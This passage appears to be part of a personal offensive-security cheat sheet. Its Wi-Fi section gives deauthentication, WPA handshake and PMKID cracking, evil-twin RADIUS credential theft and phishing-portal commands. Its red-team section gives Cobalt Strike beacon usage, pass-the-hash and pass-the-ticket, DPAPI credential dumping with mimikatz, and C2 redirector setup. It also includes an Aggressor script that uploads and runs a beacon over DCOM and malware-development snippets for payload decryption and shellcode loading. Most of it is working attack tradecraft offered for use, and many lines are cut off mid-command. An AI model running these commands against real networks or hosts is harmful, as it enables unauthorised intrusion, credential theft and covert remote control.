Check kernel version:

$ uname -r
5.8.0-kali2-amd64

Install kernel headers:

$ sudo apt install -y bc linux-headers-amd64

Build drivers from source and install:

$ sudo -i
# echo "blacklist r8188eu" >> "/etc/modprobe.d/realtek.conf"
# git clone https://github.com/aircrack-ng/rtl8188eus/tree/v5.3.9 /opt/rtl8188eus && cd /opt/
# make && make install
# reboot

Test for packet injections:

$ sudo aireplay-ng -9 wlan1

Alfa AWUS036ACH AC1200

https://github.com/aircrack-ng/rtl8812au

Chipset: Realtek Semiconductor Corp. RTL8812AU 802.11a/b/g/n/ac 2T2R DB WLAN Adapter.

Install drivers with apt:

$ sudo apt update && sudo apt upgrade -y


$ sudo apt install realtek-rtl88xxau-dkms
$ sudo reboot

Or build from source and install:


$ sudo -i
# git clone https://github.com/aircrack-ng/rtl8812au /opt/rtl8812au && cd /opt/rtl8812au
# ./dkms-install.sh
# reboot

Test for packet injections:

$ sudo aireplay-ng -9 wlan1

Prologue
Install stuff:

$ sudo apt install lshw cowpatty -y

Make sure lsusb can see the wireless adapters (it would show the chipset):

$ lsusb
Bus 001 Device 003: ID 2357:010c TP-Link TL-WN722N v2/v3 [Realtek RTL8188EUS]
Bus 001 Device 010: ID 0bda:8812 Realtek Semiconductor Corp. RTL8812AU 802.11a/b/g/n/ac 2T2R D

Make sure iwconfig can see the wireless adapter:

$ ifconfig
$ iwconfig
$ iw dev

Turn on monitor mode manually:

$ sudo ip link set wlan1 down


$ sudo iwconfig wlan1 mode monitor
$ sudo ip link set wlan1 up
$ iwconfig

Undo:

$ sudo ip link set wlan1 down


$ sudo iwconfig wlan1 mode managed
$ sudo ip link set wlan1 up
$ iwconfig

Or create a separate virtual interface in monitor mode:


$ sudo ip link set wlan1 down
$ sudo iw dev wlan1 interface add wlan1mon type monitor
$ sudo ip link set wlan1 up
$ sudo service NetworkManager restart
$ iwconfig

Undo:

$ sudo ip link set wlan1 down


$ sudo iw dev wlan1mon del
$ sudo ip link set wlan1 up
$ iwconfig

Or do it with airmon-ng:

$ sudo airmon-ng start wlan1

In fact, that does not need to be done as airodump-ng can put the wireless card into monitor mode
automatically:

$ sudo airodump wlan1

Make sure, you're not using the default MAC:

$ macchanger -s wlan1

Restart NM when there are troubles with Internet connection:

$ sudo service NetworkManager restart

Misc

WLAN channels

https://en.wikipedia.org/wiki/List_of_WLAN_channels
Could not load image

Unlicened Spectrum and Channel Allocations

Signal Strength

https://eyesaas.com/wi-fi-signal-strength/

WPA / WPA2

Enterprise
Wi-Fi Protected Access Enterprise

https://medium.com/@adam.toscher/top-5-ways-i-gained-access-to-your-corporate-wireless-network-
lo0tbo0ty-karma-edition-f72e7995aef2

https://solstice.sh/iii-eap-downgrade-attacks/

hostapd-wpe

https://pentest.blog/attacking-wpa-enterprise-wireless-network/
https://teckk2.github.io/wifi%20pentesting/2018/08/09/Cracking-WPA-WPA2-Enterprise.html
https://codeby.net/threads/vzlom-wpa-2-enterprise-s-pomoschju-ataki-evil-twin.59920/

1. Install dependencies:

$ sudo apt install libnl-3-dev libssl-dev


$ sudo apt install hostapd-wpe

2. Install and configure hostapd-wpe:


$ sudo vi /etc/hostapd-wpe/hostapd-wpe.conf
...
interface=wlan1
eap_user_file=/etc/hostapd-wpe/hostapd-wpe.eap_user
ssid=NotEvilTwinAP
channel=1
hw_mode=b
auth_server_addr=127.0.0.1
auth_server_port=18120
auth_server_shared_secret=S3cr3t!
wpa_pairwise=TKIP CCMP

3. Run fake AP with RADIUS server:

$ sudo airmon-ng check kill


$ sudo /usr/sbin/hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf

4. Crack Net-NTLM hashes (mask example):

$ hashcat -m 5500 -a 3 net-ntlmv1.txt -1 ?d?l ?1?1?1?1?1?1?1?1


$ hashcat -m 5500 -a 3 net-ntlmv1.txt -1 ?d?l?u ?1?1?1?1?1?1?1?1
$ hashcat -m 5500 -a 3 net-ntlmv1.txt -1 ?d?l?u?s ?1?1?1?1?1?1?1?1

apd_launchpad

https://github.com/WJDigby/apd_launchpad
https://www.c0d3xpl0it.com/2017/03/enterprise-wifi-hacking-with-hostapd-wpe.html

$ python ~/tools/apd_launchpad/apd_launchpad.py -t radius -s MegaCorp -i wlan1 -ch 1 -cn '*.me


$ vi radius/radius.conf
...
eap_user_file=/etc/hostapd-wpe/hostapd-wpe.eap_user

EAPHammer

https://github.com/s0lst1c3/eaphammer

Setup:

$ git clone https://github.com/s0lst1c3/eaphammer.git ~/tools/eaphammer && cd ~/tools/eaphamme


$ sudo ./kali-setup
$ sudo python3 -m pip install flask-cors flask-socketio --upgrade

Create a certificate:

$ sudo ./eaphammer --cert-wizard

Steal RADIUS creds:

$ sudo ./eaphammer --bssid 1C:7E:E5:97:79:B1 --essid Example --channel 1 --interface wlan1 --a

Personal
Wi-Fi Protected Access Personal

4-Way Handshake

https://www.wifi-professionals.com/2019/01/4-way-handshake
https://security.stackexchange.com/questions/66008/how-exactly-does-4-way-handshake-cracking-work

https://www.aircrack-ng.org/doku.php?id=cracking_wpa
https://security.stackexchange.com/questions/111527/no-handshake-recorded-from-airodump-ng
https://hackware.ru/?p=74

https://hackware.ru/?p=7542

https://hackware.ru/?p=5209

1. Look for targets. Save BSSID ( 00:00:00:00:00:01 ), CH ( 9 ), ESSID ( SomeEssid ) and STATION
( 00:00:00:00:00:02 ) if deauth will be required:

$ sudo airodump-ng -M -U wlan1 [-c 36-165 (for 5GHz, see WLAN channels) or just -c 1-200 for a
qq

2. Start dumping the target's traffic:

[$ sudo iwconfig wlan1 channel 9]


$ sudo airodump-ng -c 9 --bssid 00:00:00:00:00:01 -w SomeEssid wlan1

3. Send DeAuth packets in a separate terminal till WPA handshake: XX:XX:XX:XX:XX:XX appears
(aggressive):

$ sudo aireplay-ng [-D] -0 2 -a 00:00:00:00:00:01 -c 00:00:00:00:00:02 wlan1


Or
$ for client in `cat 00:00:00:00:00:01.txt`; do sudo aireplay-ng -D -0 2 -a 00:00:00:00:00:01

4. Clean the capture, check it once again, covert to Hashcat format and crack it:

$ aircrack-ng SomeEssid*.cap
$ wpaclean SomeEssid-cleaned.cap SomeEssid-01.cap
$ cowpatty -r SomeEssid-cleaned.cap -s SomeEssid -c
$ /usr/lib/hashcat-utils/cap2hccapx.bin SomeEssid-cleaned.cap SomeEssid.hccapx
$ hashcat -m 2500 -O -a 0 -w 4 --session=wpa2 -o wpa2.out wpa2.in SomeEssid.hccapx seclists/Pa

wifite2

$ sudo wifite -vi wlan1 --clients-only --wpa --no-wps

PMKID

https://https://habr.com/ru/company/jetinfosystems/blog/419383/

wifite2

$ sudo wifite -vi wlan1 --pmkid

wifite2

https://github.com/derv82/wifite2
https://github.com/nuncan/wifite2mod

«Поэтому оптимальный алгоритм взло… аудита следующий: определяем, включен ли на целевой


точке доступа режим WPS. Если да, запускаем PixieDust. Безуспешно? Тогда перебор известных
пинов. Не получилось? Проверяем, не включено ли шифрование WEP, которое тоже обходится
влет. Если нет, то выполняем атаку PMKID на WPA(2). Если уж и так не получилось, тогда
вспоминаем классику и ждем хендшейка (чтобы не палиться) или активно кикаем клиентов, чтобы
наловить их сессии авторизации.» — ][

Install wifite2:

$ git clone https://github.com/derv82/wifite2 ~/tools/wifite2 && cd ~/tools/wifite2


$ sudo python setup.py install

Install hcxdumptool (for capturing PMKID hashes):

$ git clone https://github.com/ZerBea/hcxdumptool.git ~/tools/hcxdumptool && cd ~/tools/hcxdum


$ sudo apt install libcurl4-openssl-dev libssl-dev -y
$ make
$ sudo make install

Install (for converting PMKID packet captures into hashcat's format):

$ git clone https://github.com/ZerBea/hcxtools.git ~/tools/hcxtools && cd ~/tools/hcxtools


$ make
$ sudo make install

Fire up wifite2:

$ sudo wifite -vi wlan1 [--kill] [-5]

airgeddon

https://github.com/v1s1t0r1sh3r3/airgeddon

$ git clone --depth 1 https://github.com/v1s1t0r1sh3r3/airgeddon.git ~/tools/airgeddon && cd ~


$ sudo bash airgeddon.sh

wifiphisher

https://github.com/wifiphisher/wifiphisher
Creating a custom phishing scenario · wifiphisher/wifiphisher

Install:

$ git clone https://github.com/wifiphisher/wifiphisher.git ~/tools/wifiphisher && cd ~/tools/w


$ sudo python3 setup.py install # Install any dependencies

Start a rogue AP with fake captive portal (firmware update scenario) on wlan1 and deauth clients with
wlan2:
$ sudo wifiphisher -aI wlan1 -eI wlan2 -p wifi connect

⚔️Red Team
Basics

"Everything is stealthy until someone is looking for it." - @tifkin_

https://redteam.guide/
https://malcomvetter.medium.com/how-to-create-an-internal-corporate-red-team-1023027ea1e3

Tactics

https://blog.binary-offensive.com/warcon-2022-modern-initial-access-and-evasion-tactics/
[PDF] WarCon22 - Modern Initial Access and Evasion Tactics (Mariusz Banach)

RTFM

https://github.com/leostat/rtfm

[PDF] Red Team Field Manual v3

Cobalt Strike

https://reconshell.com/list-of-awesome-cobaltstrike-resources/
https://github.com/S1ckB0y1337/Cobalt-Strike-CheatSheet

Malleable C2 Profiles

https://blog.zsec.uk/cobalt-strike-profiles/
https://github.com/rsmudge/Malleable-C2-Profiles
Aggressor Scripts

https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/agressor_scri
pt.htm

https://chowdera.com/2021/02/20210204190220156W.html

Community Kit

https://cobalt-strike.github.io/community_kit/
https://github.com/penetrarnya-tm/WeaponizeKali.sh/blob/main/cs/README.md

P2P Beacons
Beacon TCP and Beacon SMB are Peer-to-Peer beacons which means they're used to chain a connection
to an existent beacon. They act like bind shells and waits for the attacker to connect to them.

Connect to a TCP beacon:

beacon> connect <IP> <PORT>

Connect to an SMB beacon:

beacon> link <IP>

DNS Beacons

https://www.cobaltstrike.com/blog/simple-dns-redirectors-for-cobalt-strike/

Create an A record ns66.example.com pointing to IP address of the redirector and then an NS record
pointing to ns66.example.com .

Before starting a DNS listener, the localhost resolver should be shut down if necessary: sudo
systemctl disable systemd-resolved --now .
socat Redirector

On the redirector:

$ sudo socat -T 1 udp4-listen:53,fork tcp4:<TEAMSERVER_IP>:5353

On the team server:

$ socat -T 10 tcp4-listen:5353,fork udp4:127.0.0.1:53

iptables Redirector

Add

dns-forwarder-on.sh
sudo sh -c 'echo 1 > /proc/sys/net/ipv4/ip_forward'
sudo iptables -I INPUT -p udp -m udp --dport 53 -j ACCEPT
sudo iptables -t nat -A PREROUTING -m state --state NEW --protocol udp --destinatio
sudo iptables -t nat -A PREROUTING -m mark --mark 0x400 --protocol udp -j DNAT --to
sudo iptables -t nat -A POSTROUTING -m mark --mark 0x400 -j MASQUERADE
sudo iptables -I FORWARD -j ACCEPT

Delete

dns-forwarder-off.sh
sudo sh -c 'echo 0 > /proc/sys/net/ipv4/ip_forward'
sudo iptables -D INPUT -p udp -m udp --dport 53 -j ACCEPT
sudo iptables -t nat -D PREROUTING -m state --state NEW --protocol udp --destinatio
sudo iptables -t nat -D PREROUTING -m mark --mark 0x400 --protocol udp -j DNAT --to
sudo iptables -t nat -D POSTROUTING -m mark --mark 0x400 -j MASQUERADE
sudo iptables -D FORWARD -j ACCEPT

DNSMasq Redirector

https://buaq.net/go-20984.html
Overpass the Hash
More opsec PtH than builtin pth command (which does the Mimikatz sekurlsa::pth thing with named
pipe impersonation):

beacon> mimikatz sekurlsa::pth /user:snovvcrash /domain:megacorp.local /ntlm:fc525c9683e8fe067


beacon> steal_token 1337

Same with Rubeus (must be in elevated context):

beacon> execute-assembly Rubeus.exe asktgt /user:snovvcrash /domain:megacorp.local /aes256:94b


beacon> steal_token 1337

Use Rubeus with lower privileges:

beacon> execute-assembly Rubeus.exe asktgt /user:snovvcrash /domain:megacorp.local /aes256:94b

PS > [System.IO.File]::WriteAllBytes("C:\Windows\Tasks\tgt.kirbi", [System.Convert]::FromBase6

Or
$ echo -en "<BASE64_TICKET>" | base64 -d > tgt.kirbi

beacon> run klist


Or
beacon> execute-assembly Rubeus.exe klist

beacon> make_token MEGACORP\snovvcrash dummy_Passw0rd!


beacon> kerberos_ticket_use C:\Windows\Tasks\tgt.kirbi

Pass-the-Ticket
Create a sacrificial process, import the TGT into its logon session and steal its security token:

beacon> execute-assembly Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe


beacon> execute-assembly Rubeus.exe ptt /luid:0x1337 /ticket:<BASE64_TICKET>
beacon> beacon> steal_token 1337

Pivoting
Make any traffic hitting port 8443 on Victim to be redirected to 10.10.13.37 on port 443 (traffic flows through
the team server):

beacon> rportfwd 8443 10.10.13.37 443


Make any traffic hitting port 8080 on Victim to be redirected to localhost:8080 on Attacker (traffic flows
through the CS client):

beacon> rportfwd_local 8080 127.0.0.1 80

Extending jump with Invoke-DCOM.ps1:

sub invoke_dcom
{
local('$handle $script $oneliner $payload');

# acknowledge this command1


btask($1, "Tasked Beacon to run " . listener_describe($3) . " on $2 via DCOM", "T1021");

# read in the script


$handle = openf(getFileProper("C:\\Tools", "Invoke-DCOM.ps1"));
$script = readb($handle, -1);
closef($handle);

# host the script in Beacon


$oneliner = beacon_host_script($1, $script);

# generate stageless payload


$payload = artifact_payload($3, "exe", "x64");

# upload to the target


bupload_raw($1, "\\\\ $+ $2 $+ \\C$\\Windows\\Temp\\beacon.exe", $payload);

# run via this powerpick


bpowerpick!($1, "Invoke-DCOM -ComputerName $+ $2 $+ -Method MMC20.Application -Command C:\

# link if p2p beacon


beacon_link($1, $2, $3);
}

beacon_remote_exploit_register("dcom", "x64", "Use DCOM to run a Beacon payload", &invoke_dcom

Forward SOCKS server's port from team server to the client:

beacon> socks 1080


$ ssh -tt -v -L 9050:localhost:1080 root@teamserver

Credentials

DPAPI
List credential blobs:

beacon> ls C:\Users\snovvcrash\AppData\Local\Microsoft\Credentials

List vault credentials:

beacon> run vaultcmd /listcreds:"Windows Credentials" /all


beacon> mimikatz vault::list

Check which master keys correspond to credential blobs (look for guidMasterKey field with GUID):

beacon> mimikatz dpapi::cred /in:C:\Users\snovvcrash\AppData\Local\Microsoft\Credentials\<BLOB

The master key is stored here:

beacon> ls C:\Users\snovvcrash\AppData\Roaming\Microsoft\Protect\<SID>

Decrypt the master key via RPC on the Domain Controller and show it:

beacon> mimikatz dpapi::masterkey /in:C:\Users\snovvcrash\AppData\Roaming\Microsoft\Protect\<S

Decrypt the blob with decrypted master key:

beacon> mimikatz dpapi::cred /in:C:\Users\snovvcrash\AppData\Local\Microsoft\Credentials\<BLOB

Evasion

Sleep Mask

Shellcode In-Memory Fluctuation (Obfuscate and Sleep)

https://www.elastic.co/blog/detecting-cobalt-strike-with-memory-signatures
https://adamsvoboda.net/sleeping-with-a-mask-on-cobaltstrike/

Infrastructure
https://ditrizna.medium.com/design-and-setup-of-c2-traffic-redirectors-ec3c11bd227d
https://byt3bl33d3r.substack.com/p/taking-the-pain-out-of-c2-infrastructure-3c4

https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki

https://github.com/mgeeky/RedWarden
[PDF] Orchestrating Resilient Red Team Operations (Yiannis Ioannides)

Nebula

https://notes.huskyhacks.dev/blog/red-team-infrastructure-done-right

https://github.com/slackhq/nebula/releases

Install:

$ sudo mkdir -p /opt/nebula/certs


$ sudo eget -s linux/amd64 --download-only slackhq/nebula --to /opt/nebula && cd /opt/nebula
$ sudo tar -xzvf nebula-linux-amd64.tar.gz && sudo rm nebula-linux-amd64.tar.gz
$ sudo mv nebula-cert certs && cd certs

Make certs for the lighthouse, teamserver and proxy (redirector):

$ sudo ./nebula-cert ca -name 'hax0r1337, Inc.'


$ sudo ./nebula-cert sign -name lighthouse -ip "10.10.13.1/24"
$ sudo ./nebula-cert sign -name teamserver -ip "10.10.13.2/24" -groups "teamservers"
$ sudo ./nebula-cert sign -name proxy1 -ip "10.10.13.37/24" -groups "proxies"

Configs:

Lighthouse

lighthouse.yml
pki:
ca: /opt/nebula/certs/ca.crt
cert: /opt/nebula/certs/lighthouse.crt
key: /opt/nebula/certs/lighthouse.key

static_host_map:
"10.10.13.1": ["<LIGHTHOUSE_IP>:4242"]

lighthouse:
am_lighthouse: true

listen:
host: 0.0.0.0
port: 4242

punchy:
punch: true

tun:
disabled: false
dev: nebula1
drop_local_broadcast: false
drop_multicast: false
tx_queue: 500
mtu: 1300
routes:
unsafe_routes:

logging:
level: info
format: text

firewall:
conntrack:
tcp_timeout: 12m
udp_timeout: 3m
default_timeout: 10m
max_connections: 100000

outbound:
- port: any
proto: any
host: any

inbound:
- port: any
proto: icmp
host: any

- port: 4789
proto: any
host: any

- port: 22
proto: any
cidr: 10.10.13.0/24

Teamserver

teamserver.yml
pki:
ca: /opt/nebula/certs/ca.crt
cert: /opt/nebula/certs/teamserver.crt
key: /opt/nebula/certs/teamserver.key

static_host_map:
"10.10.13.1": ["<LIGHTHOUSE_IP>:4242"]

lighthouse:
am_lighthouse: false
interval: 60
hosts:
- "10.10.13.1"

listen:
host: 0.0.0.0
port: 4242

punchy:
punch: true

tun:
disabled: false
dev: nebula1
drop_local_broadcast: false
drop_multicast: false
tx_queue: 500
mtu: 1300
routes:
unsafe_routes:

logging:
level: info
format: text

firewall:
conntrack:
tcp_timeout: 12m
udp_timeout: 3m
default_timeout: 10m
max_connections: 100000

outbound:
- port: any
proto: any
host: any

inbound:
- port: any
proto: icmp
host: any

- port: 80
proto: any
host: any

- port: 443
proto: any
host: any

- port: 4789
proto: any
host: any

- port: 22
proto: any
cidr: 10.10.13.0/24

Proxy

proxy1.yml

pki:
ca: /opt/nebula/certs/ca.crt
cert: /opt/nebula/certs/proxy1.crt
key: /opt/nebula/certs/proxy1.key

static_host_map:
"10.10.13.1": ["<LIGHTHOUSE_IP>:4242"]

lighthouse:
am_lighthouse: false
interval: 60
hosts:
- "10.10.13.1"

listen:
host: 0.0.0.0
port: 4242

punchy:
punch: true

tun:
disabled: false
dev: nebula1
drop_local_broadcast: false
drop_multicast: false
tx_queue: 500
mtu: 1300
routes:
unsafe_routes:
logging:
level: info
format: text

firewall:
conntrack:
tcp_timeout: 12m
udp_timeout: 3m
default_timeout: 10m
max_connections: 100000

outbound:
- port: any
proto: any
host: any

inbound:
- port: any
proto: icmp
host: any

- port: 80

proto: any
host: any

- port: 443
proto: any
host: any

- port: 4789
proto: any
host: any

- port: 22
proto: any
cidr: 10.10.13.0/24

Systemd unit:

/etc/systemd/system/nebula.service
[Unit]
Description=nebula
Wants=basic.target
After=basic.target network.target

[Service]
SyslogIdentifier=nebula
ExecReload=/bin/kill -HUP $MAINPID
ExecStart=/opt/nebula/nebula -config /opt/nebula/<CONFIG>.yml
Restart=always
[Install]
WantedBy=multi-user.target

Caddy

https://byt3bl33d3r.substack.com/p/taking-the-pain-out-of-c2-infrastructure

https://caddyserver.com/docs/install

https://github.com/caddyserver/caddy/releases

https://improsec.com/tech-blog/staging-cobalt-strike-with-mtls-using-caddy

https://github.com/improsec/CaddyStager

Install:

$ sudo apt install debian-keyring debian-archive-keyring apt-transport-https -y


$ curl -1sLf 'https://dl.cloudsmith.io/public/caddy/stable/gpg.key' | sudo tee /etc/apt/truste
$ curl -1sLf 'https://dl.cloudsmith.io/public/caddy/stable/debian.deb.txt' | sudo tee /etc/apt
$ sudo apt update
$ sudo apt install caddy -y
$ sudo rm /etc/caddy/Caddyfile && sudo vi /etc/caddy/Caddyfile
$ sudo systemctl restart caddy
$ sudo systemctl status caddy

Manually requesting Let's Encrypt certificate:

$ sudo apt install certbot -y


$ sudo certbot certonly --standalone -d example.com --register-unsafely-without-email --agree-
$ sudo mkdir -p /opt/caddy/ssl
$ sudo cp /etc/letsencrypt/live/example.com/{fullchain.pem,privkey.pem} /opt/caddy/ssl
$ sudo chown -R caddy:caddy /opt/caddy

Config sample to act as a reverse proxy:

/etc/caddy/Caddyfile
{
log
#debug
admin off
#auto_https disable_redirects
}

(logging) {
log {
output file /var/log/caddy-{args.0}-access.log {
roll true
roll_size 1Mib
roll_local_time true
roll_keep 24
roll_keep_for 7d
}
}
}

(proxy-upstream) {
@ua_denylist {
header User-Agent curl*
}

@ip_denylist {
remote_ip 8.8.8.8/32
}

header {
-Server
+X-Robots-Tag "noindex, nofollow, nosnippet, noarchive"
+X-Content-Type-Options "nosniff"
}

respond @ua_denylist "Forbidden" 403 {


close
}

respond @ip_denylist "Forbidden" 403 {


close
}

reverse_proxy https://10.10.13.37:31337 {
header_up Host {upstream_hostport}
header_up X-Forwarded-Host {host}
header_up X-Forwarded-Port {port}
transport http {
tls_insecure_skip_verify
}
}
}

https://example.com {
import logging all
#tls /opt/caddy/ssl/fullchain.pem /opt/caddy/ssl/privkey.pem

handle /files/* {
file_server {
# there should be this "files" directory in root
root /home/snovvcrash/www
#browse
}
}

handle {
import proxy-upstream
}
}

Malware Development

https://threadreaderapp.com/thread/1520676600681209858.html

EIKAR:

$ msfvenom -p windows/messagebox TITLE="EICAR" TEXT="X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDAR

Code Snippets

C++

XOR encryption:

void XOR(char* data, size_t data_len) {


const char key[] = "abcdefghjiklmnopqrstuvwxyz";

int j = 0;
for (int i = 0; i < data_len; i++) {
if (j == sizeof(key) - 1) j = 0;
data[i] = data[i] ^ key[j];
j++;
}
}

AES encryption:

// Credit: Sektor7 RTO Malware Essential Course


int AESDecrypt(char* payload, unsigned int payload_len, char* key, size_t keylen) {
HCRYPTPROV hProv;
HCRYPTHASH hHash;
HCRYPTKEY hKey;

if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) return -


if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) return -1;
if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)) return -1;
if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) return -1;
if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, (BYTE*)payload, (DWORD*)&payload_len)) ret

CryptReleaseContext(hProv, 0);
CryptDestroyHash(hHash);
CryptDestroyKey(hKey);

return 0;
}

Invoke the shellcode from an embed resource:

HRSRC scResource = FindResource(NULL, MAKEINTRESOURCE(IDR_RESOURCE_BIN1), "RESOURCE_BIN");


DWORD shellcodeSize = SizeofResource(NULL, scResource);
HGLOBAL scResourceData = LoadResource(NULL, scResource);

unsigned char* shellcode;


shellcode = (unsigned char*)malloc(shellcodeSize);

memcpy(shellcode, scResourceData, shellcodeSize);

An alternative way to get the nearest return address in current stack frame (besides _ReturnAddress and
_AddressOfReturnAddress) without manually walking the stack:

retaddr.cpp
#include <intrin.h>
#include <windows.h>
#include <iostream>
#include <sstream>
#include <iomanip>

// https://github.com/mgeeky/ThreadStackSpoofer/blob/f67caea38a7acdb526eae3aac7c451a08edef6a9/
template<class... Args>
void log(Args... args)
{
std::stringstream oss;
(oss << ... << args);
std::cout << oss.str() << std::endl;
}

// https://github.com/mgeeky/ThreadStackSpoofer/blob/f67caea38a7acdb526eae3aac7c451a08edef6a9/
void addressOfReturnAddress() {
auto pRetAddr = (PULONG_PTR)_AddressOfReturnAddress(); // https://doxygen.reactos.org/d6/d
log("Original return address via _AddressOfReturnAddress: 0x", std::hex, std::setw(8), std
}

// https://stackoverflow.com/a/1334586/6253579
void rtlCaptureStackBackTrace() {
typedef USHORT(WINAPI* CaptureStackBackTraceType)(__in ULONG, __in ULONG, __out PVOID*, __
CaptureStackBackTraceType RtlCaptureStackBackTrace = (CaptureStackBackTraceType)(GetProcAd
void* callers[2] = { NULL };
int count = (RtlCaptureStackBackTrace)(1, 2, callers, NULL);
log("Original return address via RtlCaptureStackBackTrace: 0x", std::hex, std::setw(8), st
}

int main(int argc, char** argv)


{
addressOfReturnAddress();
rtlCaptureStackBackTrace();
return 0;
}

Python

Run OS command:

runCmd.py
import subprocess, shlex

def run_command(command):
process = subprocess.Popen(shlex.split(command), stdout=subprocess.PIPE)
while True:
output = process.stdout.readline().decode()
if output == '' and process.poll() is not None:
break
if output:
print(output.strip())
res = process.poll()
return res

Blog Series

@0xPat

Malware development part 1 - basics


Malware development part 2 - anti dynamic analysis & sandboxes
Malware development part 3 - anti-debugging

Malware development part 4 - anti static analysis tricks


Malware development part 5 - tips & tricks
Malware development part 6 - advanced obfuscation with LLVM and template metaprogramming
Malware development part 7 - Secure Desktop keylogger
Malware development part 8 - COFF injection and in-memory execution
Malware development part 9 - hosting CLR and managed code injection

@cocomelonc

Malware development: persistence - part 1. Registry run keys

Malware development: persistence - part 2. Screensaver hijack

Malware development: persistence - part 3. COM DLL hijack

Malware development: persistence - part 4. Windows services


Malware development: persistence - part 5. AppInit_DLLs

Malware development: persistence - part 6. Windows netsh helper DLL


Malware AV evasion: part 7. Disable Windows Defender

@preemptdev

Maelstrom: An Introduction
Maelstrom: The C2 Architecture

Maelstrom: Building the Team Server


Maelstrom: Writing a C2 Implant
Maelstrom: EDR Kernel Callbacks, Hooks, and Call Stacks

Maelstrom: Working with AMSI and ETW for Red and Blue

@chvancooten

[PDF] Malware Development for Dummies (Cas van Cooten)


https://github.com/chvancooten/maldev-for-dummies

API Hashing

https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware
https://www.huntress.com/blog/hackers-no-hashing-randomizing-api-hashes-to-evade-cobalt-strike-
shellcode-detection

Examples

https://github.com/helpsystems/nanodump/blob/main/scripts/randomize_sw2_seed.py
API Hooking

https://www.ired.team/offensive-security/code-injection-process-injection/how-to-hook-windows-api-
using-c++

https://www.malwaretech.com/2015/01/inline-hooking-for-programmers-part-1.html

https://www.malwaretech.com/2015/01/inline-hooking-for-programmers-part-2.html

Examples

C++

https://github.com/mgeeky/ShellcodeFluctuation/blob/master/ShellcodeFluctuation/main.cpp
https://github.com/snovvcrash/VeraCryptThief/blob/main/VeraCryptThiefDll/veracryptthief.cpp

C#

https://gist.github.com/NaxAlpha/144d1dd96c7d0ad29fe149e4063a8f25

Tools

https://github.com/CCob/MinHook.NET
https://github.com/CCob/SharpBlock
https://github.com/ars3n11/MineSweeper

BOF / COFF
Beacon Object Files / Common Object File Format

Argument types for bof_pack:

Type Description Unpack With (C)

b binary data BeaconDataExtract

i 4-byte integer BeaconDataInt

s 2-byte short integer BeaconDataShort


z zero-terminated+encoded string BeaconDataExtract
Z zero-terminated wide-char string (wchar_t *)BeaconDataExtract

A basic BOF example:

BOF

msgbox.c
// wget https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/c
// x86_64-w64-mingw32-gcc -c msgbox.c -o msgbox.o

